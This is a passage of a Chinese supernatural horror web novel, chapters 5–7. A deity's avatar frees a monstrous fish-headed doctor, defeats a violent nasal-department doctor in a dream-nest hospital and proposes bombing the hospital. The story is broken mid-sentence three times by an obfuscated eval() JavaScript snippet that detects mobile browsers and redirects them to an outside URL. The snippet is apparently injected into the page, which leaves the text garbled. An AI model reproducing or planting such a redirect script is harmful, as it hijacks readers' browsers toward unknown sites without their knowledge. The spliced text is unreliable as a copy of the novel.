C03被观测到前已经盘踞在落英市有一阵了,而后官方那边就一直没找到彻底解决的办法,这座巢穴的资料才落到了沈云烟手里。 筑巢期间落英市里一睡不醒的人不少,有些成了植物人,有些直接一命呜呼,这种突如其来没有规律的沉睡病成了新时代的医学难题。 那些还剩一口气的人们无助地在被吞噬的边缘徘徊,等待彻底跌入梦境的缝隙,成为信仰着C03的牲畜。 “最近看到同事就觉得烦,之前看见护士你也觉得烦”,鱼头医生捧着一个盒子过来放在桌子上,道:“不过今天护士好说话多了。” 他打开盒子,里面是一张素描纸,上边画着一个凭栏而坐的女人,穿着宽大的广袖衣袍,脸部模糊不清。 “这就是我经常梦到那个人,不过总是看不清脸,我只能画个大概,画了好久的,不过我有预感,我肯定和她有点关系,所以肯定不能答应你。” 鱼头人眼底闪过一丝柔软。 写字都歪歪扭扭的鱼头人竟然能凭着毅力画出这种程度的素描像,花的力气不言而喻。 那些人形的患者是现实里尚未死亡的人,鱼头人身的行尸走肉是已经被吞噬的人。 那眼前已然异化为怪物却似乎保留着些许神志的医生又属于哪一类。 不管如何,要是不采取点手段,眼前这人迟早和外面那些变成一样。 沈云烟开口道:“你叫什么名字?” “我?大家都叫我眼科鱼医生。” “我说的是真名,原本的名字。” 似乎从来没有想过这个问题,他变得十分茫然,在诊室里站定不动,像是思考着什么。 他焦躁地敲着桌子,鱼眼通红:“我记得有,但是我忘记了,我怎么会忘记?” “名字……名字……” “为什么想不起来!” 他抓起那页画稿,看了一阵,眼中涌出泪花,突然间激动道:“我不记得我的名字……但我记得她姓……姓……姬!” 连自己的真名都遗忘了,但是还记得梦中人姓什么,或许他就是凭借这丝念想才撑到现在的。 “想不起来自己名字就算了,你就跟着这画里的人一样姓姬吧”,沈云烟道:“叫姬梦好了,梦境的梦。” 反正是在梦境巢穴里碰到的。 “姬蒙?” 医生僵硬地在纸上写出这两个字,鱼头扯出一丝笑容。 医生虽然保留着一些正常人思维,但时不时地还是露出些迟钝,比如不认字儿。 沈云烟自然无所谓他叫什么名字:“随你。” 人的名字是有力量的,被认可的名字是受祝福的。 “姬蒙”,沈云烟摸出一柱烟青色的长香递给医生,正色道:“静心参拜,赎汝凡胎。” 姬蒙下意识接过香,还没反应过来:“参什么……赎什么?” 沈云烟直接给他按跪在地上,朝着东方结结实实磕了个头,叹口气道:“东面有神,不拘俗礼,你叫什么都行,想活命就赶紧的,再耽搁下去等你脑子没了,到时候想找都找不回来。” 沈云烟坐回医生的靠背椅上,看着姬蒙捧着香跪着,监工口吻道:“给神仙烧香诚心点,心诚则灵。” 姬蒙呆呆地跪坐在原地,出神地看了一会儿燃起的缥缈青烟,仿佛全世界就只剩下他和这柱香。 “东面有神……” 是这里的神?不不不,是另一位神,柔和而磅礴的气息从不知道来处的地方涌出,似乎很远,却又出奇地令人心神清净。 他好像忘了很多东西,他好像独自走了很久,侵入骨髓的疲惫游走在每个神经缝隙,每分每刻都在企图击垮他,他真的好累。 如果,如果真的有神灵的话,能不能保佑他安静地休息一会儿,就一会儿。 【礼敬东方神灵,保佑我神台清明】 坐于榻上沉睡的神明短暂地睁开纯澈如琉璃的双眼,一个呼吸间又合上双眸,沉沉睡去。 【准】 激荡无声的神念跨越山川湖海沉入梦境,姬蒙只觉得世界突然变得无比清晰,好似那些深藏于骨的污秽被冲刷地一干二净。 “我……这是……”他转过头来震惊地看向沈云烟,手中残香烧尽,香灰落了他满手。 看来已经清醒了。 这具化身救不了人,能救人的只能是被封印的本体,通过信仰的方式短暂苏醒,如果信仰不强烈,不足够让本体苏醒,那也就是医生的命了。 这种涤荡神魂的方式以人的魂魄强度来说可以用一次,若是眼前的医生已经异化到救无可救,那便会直接被粉碎。 万事万物,人若不先自救,那她有就算想帮也有心无力。 所幸医生的信仰与坚持都足够强韧,结果是好的。 “哦,你没猜错,你死了,但没死透,被神仙救了一命。” “这里是?” “怪物巢穴,你自己照照镜子,你自己现在就是怪物中的一员,还是医生,级别挺高的。” “我……”,他缓了缓心神,想起一些作为怪物的记忆,问道:“怎么称呼您?” “沈云烟,跳大神的”,她眼神掠过姬蒙,开口道:“欢迎见证真实的世界,破妄者。” “破妄者?是我这种人不人鬼不鬼的样子的特殊称谓吗,要是真能把这些妄想破开就好了,我也不用受这些罪了”,他苦笑道。 环顾诊室四周,姬蒙怅然若失:“我还能回去吗,我隐约记得我好像有台手术还没做完,患者会有危险的。” 真是爱岗敬业,看来姬蒙异化之前说不准真是个眼科圣手。 “回去倒不是不行,不过现在这个情况,比起你的患者,你自己的危险可能更大点。”沈云烟站起身来,扯了扯医生身前的身份牌。 要是C03知道自己窝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635821|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里出了个二五仔,会不会气的直接爬过来。 沈云烟眼神微动。 好思路,要是宋先那边蹲不到C03,就把姬蒙二五仔的消息传出去,说不定比美味佳肴更顶用。 “别惆怅了,还记得医院的规则吗,六点下班之后你们去哪里了。”她问道。 姬蒙脑子冷静下来了,作为怪物的记忆比做人时候的记忆清晰一些,他仔细想想,慎重地摇摇头:“我只有白天的记忆,出了医院门之后我就没印象了。” “每天早上我清醒过来的时候就已经站在医院门口了”,他摸了摸身上的衣服,道:“有时候白大褂会沾血,衣服会有医院清理员工过来回收清洗。” 他低下头,声音沉闷:“我不知道衣服上是谁的血,我什么也记不清。” 他道:“更多时候我身上会有伤口。” 他扒开袖子,一道道血痕遍布胳膊,密密麻麻的。 “要是没猜错的话,是我自己动的手,我是左撇子,伤口集中在右臂,痕迹也很像自己动的手。” “这些只是猜测,我在医院外的记忆十分模糊,但我记得,这里的夜晚从不宁静。” 姬蒙盯着自己的双手,叹了口气又收了回来。 理智全失的狂化阶段吗,沈云烟想到。 “看来晚上才是这座巢穴真正的模样。” 她伸出手:“今天六点我先替你出去,身份牌给我。” “护士晚上九点就能离开”,沈云烟摘下自己的护士牌捏在手中,接着道:“要是想出来找我,就向西边走,不出意外的话我就在那。” 她感应到在宋先身上留下的标记就在西边,位置已经稳定下来。 “这身份牌能换?”姬蒙吃惊。 他解释道:“在这里,身份是极其敏感的东西,所有人都必须遵守规则,不然就会招来神的惩罚,有一部分患者我见过一回后就再没见过了,没有怪物敢去忤逆神的旨意,挑战神的权威。” 留有神智敢去忤逆神的“患者”直接被抹杀了,自然见不到第二面。 沈云烟利索地交换了身份。 “可能因为我是偷渡的,而且我上头有人,这里的‘神’管不住我,不然你以为我的护士牌是哪来的。” 姬蒙接过护士牌,等了片刻,新奇道:“真的一点动静都没有哎。” 身份在医院是禁忌,那些打身份牌主意的都死的很惨。 他崇拜道:“沈仙师,您背后那位尊神名号是什么,我出去准备给尊神建个香火观,日日诚心参拜。” “真的?”沈云烟来了兴趣。 她直起身来,拍了拍姬蒙的肩膀以示鼓励。 好啊,就知道没白救你小子。 “心意领了,供奉倒是不急,出去再说,要是真想参拜,找柱香火往东方拜一拜就行了,她会看到的。” 倒不是沈云烟不想要信仰,但那封印还在本体上挟制着,不能明目张胆地透露气息,更别提真名了,会被发现的。 沈云烟眼底闪过一丝别往的情绪。 这个世界里,如今能听见并且回应人类的恐怕也只有她了。 “真是淡泊名利又心怀天下的神明呐。”姬蒙愈发敬佩。 沈云烟没好意思接茬,她看了看时间:“行了,时间到了我该走了。” 医院的报钟停在了下午六点整,电子播报音响彻整栋医院。 【尊敬的医生,您的下班时间到了,请携带好随身器械,准备出发】 落日余晖顺着窗口照进医院,暖色爬上门厅的大理石地板,随着钟声响起,似乎有些东西在悄悄改变。 “拿着”,姬蒙抛过来一把手术刀,被沈云烟准确接住,他道:“可能会有用。” “多谢。” 沈云烟藏好刀,披上衣架后的备用白大褂,正了正医生身份牌,朝医院门口走去。 医生是第一个下班的,接下来是护士,后勤,安保人员最后下班,这是什么顺序? 等级?猎杀? 狼群里捕猎到食物时总是等级高的狼先享用,最后剩些残羹冷炙给低级狼吃。 这个猎场会不会也遵循着这样的规则。 与她一起下班的还有其他四位医生。 沈云烟故意慢了一步,跟着最后一位鼻科医生走出了医院门。 5. 第五章 井井有条的医院(4) “烦死了,谁发明的上班”,鼻科医生整张死鱼脸上都透着烦躁,过了一阵,它精分一样,刚刚愤怒的脸上又瞬间笑了起来,陶醉地吸了一口空气:“下班真好,又到了放松时间。” 四个医生出来后像是商量好一样去了不同的方位,似乎是他们约定成俗的规矩。 鼻科医生去的是西南方向,沿途建筑稀少,有废弃工厂,也有还亮着灯的高楼。 沈云烟一眼就看见了精神病院,距离很远,但门口石碑刻着的烫金字体硕大无比,十分吸睛。 此时从里面走出来一位蛇头医生,板着一张脸,像别人欠了它八百万,它发泄地得捶打了几下墙体,黑着脸朝另一个方向走了。 蛇人…… 看来医院的划分不同,医生的品种也不同。 最需要耐心的精神病院里有着冷血暴力的蛇,最需要缜密心细的医院里有着记性不佳的鱼。 这是在玩什么?庸医会诊吗。 夜幕降临,医院所有的工作人员开始分批下班,而且看起来都有自己准确的目标地点。 沈云烟隐蔽地跟了鼻科医生一路,一直到天完全黑了才停下脚步。 眼前是一片居民区。 很老式的街角小巷,一整片一整片的砖墙瓦顶,每五十步一个昏黄的路灯,接触不良的线路令它扑闪扑闪。 鼻科医生心情不错,哼着小曲走过一家又一家,挑亮灯的住户敲门。 要是打开门后是脸上缠着绷带的住户它就退出去,拿出本子划上一笔,脸上挂着诡异的笑走向下一家,要是开门的是正常的人类,它就会进屋里去。 房子的灯灭了一阵又开启,鼻科医生提着自己的手术刀走出门,继续它的巡逻。 那刀滴着血,顺着鼻科医生行走的路线蔓延了一路。 没有尖叫,没有挣扎,那座屋里好似什么事都没有发生,但濡湿至屋外的血迹却昭告着这绝不简单。 沈云烟灵巧地落在屋外,借着灯光就能看到里面发生了什么。 她眸光微动,缓缓吐出一口气。 鱼是有鼻孔的,鱼头两侧各长了两个孔洞,叫做前鼻孔和后鼻孔,用于嗅觉而非呼吸,呼吸则用的是两侧的鱼鳃。 人没有鱼鳃,人有鼻梁。 屋里坐着一个人,准确来说那不算坐,是防止他挣扎直接把他绑在了沙发上,脸上血肉模糊,拼合的鱼鳃在人脸上格格不入,缺失的鼻梁令他看起来无比怪异。 他在被改造成鱼,从鼻子开始。 听见有人来了,他麻木地看向屋外,看清来人是正常人之后,嘴唇张张合合却发不出任何声音,只能尽力做出口型:快走。 他一遍一遍做着口型。 快走啊,有危险。 沈云烟半垂眸,轻轻开口。 “先睡一会,天就要亮了。” 那人身躯一震,她的声音勾起了身体久违的睡意,言灵暂时抚平了扎根心底的疼痛和恐惧,他仿佛又回到了正常的世界。 抵不过浓重的睡意,他合上了眼睛,陷入安稳的梦乡。 一圈一圈绑着他的绷带被沈云烟割开丢在一边,直到最后一条束缚被解开,沈云烟感受到一股阴毒的注视黏在她身上。 “小杂鱼,跟着我这么久了还没看够吗,需要让我多做几场手术给你表演吗?” 背后传来冰冷滑腻的声音,沈云烟转过身去,鼻科的鱼医生正靠在屋外的栏杆上望着她。 它半身白袍带血,相比于姬蒙流畅的鱼头,它的头更加扁平,牙齿更加锋利,鱼眼中瞧不出任何情绪,不过绝对没安好心。 “眼科的杂鱼,跑进我的领地是想来一场免费的手术吗。”它轻巧地捏起一把手术刀,然后遗憾地扔掉,转而从背后取出一柄电锯。 “你这种硬茬,得要更厉害的工具才行呐。” 乌隆隆的声音在寂静的空气里响起,鼻科医生的鱼嘴越咧越大,几乎压抑不住笑容。 “我还没吃过医生的鼻子,一定会很美味。”它口中的涎水滴落在地,鱼眼因为兴奋变得通红。 这是一场黑夜之下的屠杀,放逐入夜空之下的怪物肆无忌惮地收割人类。 被一步步改造的身体,被恐惧裹挟的大脑,在理智彻底崩坏的最终,人类彻底死亡,巢穴的异化能力又会在尸体上催生出新的怪物,接手怪物们的工作。 完美循环的巢穴。 鼻科医生的电锯飞速转动着,被医生提着冲向沈云烟,疯狂的笑意在鱼脸上显得过分扭曲,一脚踩下,水泥地面被踩出塌陷的裂纹,它向上跃起,朝着沈云烟的头颅砍下去。 力量差别过大,不能硬碰硬。 沈云烟堪堪躲开,腰部露了破绽,巨型电锯带着疾风朝她扔了过来,她借力翻身落地,腰腹的衣服多了一道细长的缺口,一缕红色正在洇出。 巨大的声音在身后响起,半个电锯插进了后面的砖墙里,直接穿透了墙壁,还在隆隆作响。 鼻科医生在夜晚的速度和力量都非同寻常,刚刚还在沈云烟眼前的医生已经消失不见。 沈云烟反应很快,立即冲向电锯。 可惜这具身体素质比不上异化的鱼人,在她即将触碰到电锯时,骤然察觉到压迫感,她侧身躲避,立刻拉开距离。 从天而降的鱼人像颗炮弹一样落在围墙上,直接摧毁了仅剩的砖墙,它在滚滚烟尘中弯腰拾起还在颤动的电锯,朝着沈云烟笑,张开的鱼嘴露出密密麻麻的尖牙。 “即使是同事,收到的神的恩赐也是不同的”,它挑剔道:“眼科,你简直就是个残次品。” “不过没关系,我会帮你一点点纠正丑陋的头颅,让你变成完美的医生。” “看来晚上会让这些巢穴产物力量增幅”,沈云烟捂着腹部起身,思索道:“这身体太弱了,肉搏肯定打不过。” “得换个方式了。” 她开口挑衅:“你知道吗,人类的菜谱很有趣,有一道叫清蒸鲈鱼的菜,首先需要准备一条新鲜的鱼,然后将鱼一棒子打晕,然后开膛破肚,取出内脏,洗去血水。” “之后处理好的鲈鱼划刀,腌制,摆上葱姜,蒸好后淋上豉油,撒上葱丝,装好摆盘。” “人类觉得鲜香美味,我也一样。” “可惜,食人鱼不需要后面的步骤,只需要第一步就可以了。” 沈云烟的身体很快,刀比身体更快,姬蒙的手术刀顺着她的手劲直飞了出去,袭向鱼头,而她自己却飞速向后撤离,拉大距离。 “想跑!” “就只有这点手段,这可不行”,鼻科医生笑着,轻而易举地挡住了攻击,手术刀被电锯击开,刀身因为巨大的力量深深嵌入地面。 它喜滋滋地往前大踏步,疯狂挥舞着电锯,以极其骇人的速度逼近。 “美味又脆弱的医生,我会好好品尝你的。” 而原本逃窜的沈云烟却在不远处停住不动。 “放弃挣扎可不是什么好习惯”,医生用力将电锯挥下,鱼眼中透露出癫狂的兴奋,他笑道:“希望你的头骨足够硬,我喜欢电锯卡顿的声音,我亲爱的同事。” 旋转的刀锋轻易割出破空声。 “吾言此处不可窥探。” 沈云烟站在原地不动,感受到体内力量的流失与结界的形成。 电锯狠狠落下。 “吾言眼前之物仅为鱼。” 这句话牵扯因果不少,沈云烟的胳膊骤然一麻,是言灵的反噬,不过她眼睛都没眨一下,接着道:“鱼者,水中之物,不可岸上游。” 哐当一声,电锯跌落在地。 鼻科医生的声音戛然而止,周围的空气仿佛被抽空,它大口大口地呼吸,却汲取不到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635822|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点氧气,双手勒住脖子,鱼眼不住地翻白。 终于,它支撑不住,直直倒在地上,身体痉挛,沾了一地的泥,再不见刚才的风光。 “入……侵……者……该死”,它伸手抓向天空,断断续续道:“无所不能的神……有入侵者潜入。” 怪物的身体实在强悍,即使窒息倒地失去行动力,它短时间也死不了。 沈云烟把电锯拿起来,功率开到最大,缓了口气道:“谁要和你比肉搏。” “没人告诉你,这世界有种人叫法爷吗?” 异能,仙法,灵气,随人类怎么叫。 沈云烟嗓子眼有点疼,心脏跳地有点快,这是化身用多了言灵的后遗症,她虽然能借这身体出来活动,但也有诸多限制,身体承受不住太强的神力流动,不然就会直接崩溃。 电锯还在振动,沈云烟直插进鱼人的腹部,将它钉在地面上,抹了把额头上的薄汗,心道这身体素质确实有待提高。 “刚刚我说的清蒸鲈鱼还记得吗,不过我现在不想亲自动手了。” 她得歇歇。 “喂,睡醒了就过来”,沈云烟向屋内说话,话音刚落,屋内的男人便猛地睁开了双眼。 残留的疼痛使他迅速睁眼,被言灵引导的深度睡眠让他现在恢复了些清醒和理智。 他动了动手脚,虽然依旧疲软,但还能站起来,他摇摇晃晃走出房门,看见眼前这幕,微微睁大了双眼。 “知道菜市场怎么处理活鱼吗?”沈云烟问道。 “不会也没关系……” 她话说一半,眼前的男人重重点了点头,张嘴做口型:我是厨师。 “那就好”,沈云烟微笑道:“处理一下这条食人鱼吧,你是厨师,应该能做得更好。” 男人点点头,脸上被缝缝补补的伤痕依旧流着血,手脚还是没有力气,但他硬是拖着从房子里找出的长棍来到鼻科医生身前。 一棍挥下,他气力虚弱,打的鱼头医生痛呼一声,但没落下实际伤,他没有停下,一下,两下,三下…… 不知挥舞了多少次,男人机械式地动手,直到双手发颤握不住棍子,眼前一片模糊时才被另一双手拦住。 “好了,你做的很好,去休息吧”,沈云烟轻声道。 他从发泄愤恨中回过神来,发现面前的鱼头医生已然晕死过去,身上插着巨型电锯,几乎将它分成两半,浑身上下都是血,是被自己打的。 但它还没死…… 余光瞥见了不远处几位缠绷带的人在远远地看着,男人平复好呼吸,突然畅快地笑了。 怎么会只有他一个,这片区域的所有人都将成为挥舞在鱼头医生身上的武器,是棍子,是菜刀,是无处不在的仇恨。 它死定了! 男人转头看向沈云烟,目光灼灼。 他有预感,这场噩梦快醒了。 屋外很热闹,出奇的热闹,但沈云烟没有去干预,她取走了鼻科医生的身份牌,离开了这里。 “连续使用言灵对身体来说还是有点勉强。” 这个世界是被粉饰过的,内里已然疮痍不堪,与其说是末法时代,不如称作污染时代更为准确。 污染,即是怪物源源不断地在世界各地筑巢,组成人类猎场。 而人类也在一次次经历异常后实施反制约的手段。 人类,世界,怪物,就此维持着微妙的平衡。 化身比不得本体,规则类言灵对化身来说可谓沉重的负担。 不过,感受到迅速增加的信仰之力,沈云烟心中逐渐踏实,至少不用担心走着走着就消失了。 鼻科医生管辖范围里的那些人的信仰,正在一丝一丝累积增加着,还有逐步加快的趋势。 有了信仰之力加持化身,很多事就方便多了。 该去找宋先了。 6. 第六章 井井有条的医院(5) 人是怎样快速入睡的? 闭着眼睛放空精神就可以。 人在梦中又是如何入睡的? 宋先睁着眼睛,看着窗外的夜幕发呆。 不敢睡。 沈云烟现在在哪,找到那个什么C03了吗,他们什么时候能出去。 他叹了口气,这里实在太真实了。 如果不是清楚知道这里是怪物巢穴,他可能以为他回到了家乡的小镇。 放学回家后就能有热腾腾的饭菜,拿到奖状后就能得到奶奶的夸奖,生病的时候有人关心,生气的时候有人安慰。 宋先将头埋进被子里。 可惜只是梦而已。 他想奶奶了。 “我……”宋先眼中闪过迷茫。 他为什么会想奶奶,今天明明才见过,对,奶奶今天陪他去医院看病,医生说要准备手术,出了医院他和奶奶一起回家,晚上还在家里吃了饭。 “我生病了?” 宋先摇了摇头,觉得确实脑袋有点晕。 “可能是白天折腾了一整天,有点累了。” 奶奶今天也走了不少路,早早在隔壁房间睡着了。 他也困了,先睡觉吧。 宋先半梦半醒之间,觉得周围温度在逐渐变化,潮湿的空气萦绕在周身,让他不自觉地感到闷热。 耳边传来悠长的鸣叫,清澈通透,仿佛从天际落下一般,令人倍感自身渺小。 他睁开双眼。 巨大的灰色鲸鱼在云间游走,祂的身躯与人类躯体相比就像星辰与微尘,鲸鱼望向宋先,明明是动物的面庞,却能表现出更为人性化的复杂表情。 神在悲悯人间。 宋先没意识到一只鲸鱼能做出人类的表情这件事到底有多惊悚。 他深深地被吸引了。 如此伟力的存在,祂虽然没有开口,但祂的存在本身就是一种不可思议。 神在说,孩子,到祂那里来。 脱离人间,成为神的信使,你所期盼的都能实现。 你的未来并不圆满。 你会看到奶奶缠绵病榻,撒手人寰,你会因为这双神奇的眼睛卷入争斗,被怪物吃掉。 说到吃掉这两个词,鲸鱼的声音逐渐混浊,似乎有口水声在嘴中黏糊。 须臾之间,祂再次鸣叫。 善良的孩子不该过这样的人生,去神的身边陪伴,神会满足人类的一切愿望。 毕竟,神无所不能。 宋先扶着脑袋,那股眩晕感更重了,他目不转睛地盯着眼前巨大的鲸鱼。 “奶奶会出事?” 被提前通知的清晰未来展现在眼前,宋先却有种浓浓的异样感。 他并非怀疑这个未来的真实性,这件事让他心中一震,有着预知能力的他,对于某些事情的判断有着最准确的直觉。 他几乎能立刻断定这个未来是真实的。 可就是因为太过真实,宋先的预警猛然拉了起来。 同往未来的路有无数条,时间之水无数次分支合流,没有人能准确指出哪一个是绝对既定的未来。 未来是模糊的。 或许在某个节点一颗尘埃就能使未来沧海桑田。 没有人能完全掌握未来,神也不行。 宋先皱起眉头。 未来不能被掌握,但有一样东西可以。 那就是过去。 坍缩既定的事实无法被改变。 “你窥探了我的记忆。”宋先双眸逐渐恢复清醒,原本向前迈的一步迅速收了回来,还往后退了几步拉开距离。 浓郁的烟香气从他身上涌出,其中一缕青烟混在云海之中,悄悄地黏上鲸鱼的尾巴。 “咳咳”,宋先也被这突如其来的烟呛了几口,一直晕乎乎的脑袋也被呛了个清醒。 鲸鱼愤怒的长鸣逐渐远离,眼前的一切如同被戳破的泡泡,瞬间消失不见。 再次睁眼时,他依旧在家中,仰躺在自己的床上。 宋先闷哼一声,头痛欲裂,鼻尖还有没散去的香味,他缓了缓神,支起身体,刚坐起来就一愣。 夜幕下,月光照进房间里,他的房间原本铺的老式木地板,睡前还好好的,此时就像被水齐齐泡过一样,肉眼都能发现形变腐烂。 一股异样的味道扑向鼻腔,与尖锐的头痛混在一起,勾起胃部的痉挛。 “呕!” 云端的长鸣,巨大的灰鲸。 宋先心跳剧增,血液飞速流动,肾上腺素激增,他忍着头痛,迅速起身下床。 那绝不是普通的梦,刚刚有东西来过了。 他迷迷糊糊地睡着,被那东西诱导了思维,要是刚刚真的走到了那鲸鱼的身边,很难说还能再醒过来。 那种东西,一张嘴就能吞了他。 不行,不能等沈云烟过来找他,得去主动汇合。 他合衣睡觉,鞋子也没脱,此时站起来就往外边冲,等到走到奶奶的门前,想敲门却又停住了。 周围的一切都是他的梦,房屋,居民,小镇,除了那些诡异的医院,所有的一切都是他熟悉的。 这里的奶奶,是假的。 他清楚记得现实的奶奶已经走了。 “想叫就去叫,在这里发什么愣。” 熟悉的声音在窗边响起,宋先惊喜回头,沈云烟手搭上了窗沿,轻飘飘翻进来,落地时没发出一丁点声音。 “看我干什么,没见过这么帅的翻窗姿势?” 宋先上前两步,焦急道:“刚刚有东西找到我了。” 沈云烟拍了拍手的灰:“我知道,我给你的香自己燃了,说说C03怎么找你的。” “梦中梦”,宋先解释道:“如果说这里是我的第一层梦境,它就藏在第二层梦境里,它引诱我睡着,引导我的记忆,让我靠近它。” “它是一头在天空遨游的巨大灰色鲸鱼,自称是神,它说能帮我实现愿望。” “倒是真会躲”,沈云烟道:“带我去它现身的地方看看。” 跟着宋先一起走进他的房间,沈云烟用脚尖轻轻点了点被泡的发软的木地板,很轻易地就能踩变形了。 “真是嚣张,直接就闯过来想吃了梦主,这算什么,开盖即食。” “它找过来是要吃了我。”宋先嘴唇有点发白,恐惧漫上心尖,但看见沈云烟在这,跳到嗓子眼的心脏往下落了落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635823|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他们已经汇合了,他暂时是安全的。 “这里味道太臭了,先换个地方再谈”,沈云烟捂住鼻子。 被浸泡过的木板散发着难以言喻的诡异气味,陈旧的腥味和腐烂的霉味混在一起,简直提神醒脑。 “那奶奶她怎么办。” 宋先欲言又止。 沈云烟开口道:“这里是由你的梦境为基础所构建的门,联通着梦中回响之音的巢穴。” “硬要分类的话,这个重组世界里的人分为两类,一类是你的潜意识塑造的梦中人,另一类就是巢穴里被捕获的人类灵魂。” “换句话说,在你没死透前,他们是不会有事的。” “只是潜意识吗”,宋先有些失落又有些庆幸。 他拍了拍脸,给自己定定神。 在这个世界里再一次看到奶奶已经是难得,奶奶不是怪物他才该庆幸,他在乱想什么乱七八糟的。 “我们走吧。”他恢复正常。 两人一前一后离开房子,走进夜幕中。 “巢穴有一套自己的运行规则,C03自称神明,在不断创造怪物信徒”,沈云烟道:“它渴望成为秩序的主宰,但怪物混乱的天性让它残忍弑杀。” “白天里的医院维持着岌岌可危的身份秩序,到了晚上野兽们脱去身份,来到自己的领地享受真正的畅快。” 宋先想到什么,抿了抿唇:“那些顶着鱼头的人实在太荒谬了,怪物尝试模仿人类,企图将自己的思维灌输给人类。” “它们想换我的眼睛”,宋先想起那个让他换鱼眼睛的医生,吐槽道:“审美真烂。” 沈云烟咳了咳,道:“你去那家是换五官的医院,除了眼睛外,眉毛、鼻子、嘴、耳朵都能换,不过我建议你别骂眼科的医生,先换个鱼骂。” “为什么?”宋先睁着清澈的双眼看向沈云烟。 “因为他来了。” 高大的鱼头医生从月色的阴影处走出来,看不出表情,也不知道听了多少。 宋先脚步一僵。 是该先心虚还是该先害怕。 “你好,我是姬蒙,是一名医生,呃,或许现在是护士”,鱼头医生展示了自己的护士的身份牌,走过来准备和宋先握手。 沈云烟道:“自己人。” 什么护士不护士的,这不就是当时给他看眼睛的医生! 这也没过多久,医院的怪物医生就成自己人了?! 宋先:“啊?” 他突然感觉到脑子不太够用,这世界充满了太多不真实感,他僵硬地和姬蒙握了握手:“你好,我叫宋先。” 姬蒙是个情绪稳定的大人,坦然接受小年轻不断扫过来的眼神,丝毫没有受影响。 “既然都到齐了,可以开始下一步计划了。”沈云烟道。 她站定,认真道:“这片巢穴区域的核心是医院,医院周边辐射范围内的居民区是它们的畜牧场,关着收集来的人类灵魂。” “我们要去解救那些人吗?”宋先举手发言。 “不,那样太慢了。” 沈云烟呲了呲牙,露出一个恶劣的笑。 “我们先炸了医院。” 7. 第七章 井井有条的医院(6) “什么?!” 宋先觉得自己最近心跳加速的频率有点高。 回头得去医院做次体检,万一有什么没法发现的隐疾,他好提前做准备。 姬蒙没有丝毫迟疑,他想了片刻,出主意道:“医院里的护士站,手术室,医疗设备机房都存放有氧气瓶,医用制氧机,一楼最深处还有高压氧舱,要是遇到明火,或者是特殊气体,比如□□,依照不同量级混合可以造成不同等级的爆炸。” “你们怪物医院居然有这么多正常设备。”宋先惊讶。 姬蒙准备要扶眼镜,手抬起来一半意识到了什么又收了回去,他平静道:“不要质疑医生,我是专业的,每一场在医院的手术我都全力以赴,设备是医生的战甲,绝对不能敷衍了事。” 他抬眸看了一眼两人,补充道:“我说的是以前还是人的时候。” “不过这里医院的设备确实很齐全,除了人员构成之外,和外面的医院差的不多。” 姬蒙还没说完:“还有医院的电控室,如果温度和湿度同时拉升的话,极易发生危险触电事故,不过我个人更建议第一个方案,第二个方案实施条件过于苛刻,而且在温度上升或者湿度达到75%以上的过程中极容易被察觉到,引起怪物的围攻就得不偿失了。” 姬蒙噼里啪啦说了好几个方案,涵盖各个方面知识。 宋先叹为观止,他年龄小,高中都没上完,听着这些东西感觉云里雾里的。 同学们说学医的都是怪物果然没错。 沈云烟拍了拍他的肩膀,安慰道:“好好学习,天天向上。” 她道:“虽然姬蒙的提议很不错,但我还是觉得再简化一下步骤比较好。” 她从袖里乾坤的角落里挑出几个大箱子,哐当一声,铁皮箱子沉甸甸地落地,在宋先和姬蒙眼中,她手微抬就变出了一堆巨大的箱子。 “比如,直接用这些东西去炸医院会不会更好。” 敞开的铁皮箱里面堆放着不少管制物品,有些是他们这辈子都不可能见到的高危管制武器。 “这些东西……”,看起来格外冷静的姬蒙都瞪大了鱼眼。 这些东西是怎么带进来的! “看我干什么,不是和你们说我上头有人,而且这些都是标准流程审批下来的,不用担心被拷走。” 沈云烟蹲下挑拣一番,先拿了两个趁手的。 宋先已经不想再思考了。 异能,神仙,怪物这些已经让他够焦头烂额了,他世界观重塑后强迫自己接受了神秘侧世界的信息,就算现在再加上些科技的元素,比如他们扛着火箭筒去炸怪物的医院,也不是不能接受。 冷静冷静,这些都是正常的,他要学会包容和理解,冷静冷静。 姬蒙倒是从容多了。 他一脸钦佩道:“不愧是沈仙师。” 沈云烟十分熟练地上膛,朝不远处开了一枪,一点没有作为老古董神仙的自觉,她塞了几个定时的微型炸弹给愣着的两人。 化身是肉体凡胎,还有各种限制,比起普通人也强不到哪去,备些防身的物件总是好的,她袖里乾坤还放着一堆官方送的货,再不用就得退回去保养维修了。 沈云烟耸耸肩:“你们没发现这些东西格外好用,比能力好用多了。” “确实。” 宋先把自己劝好。 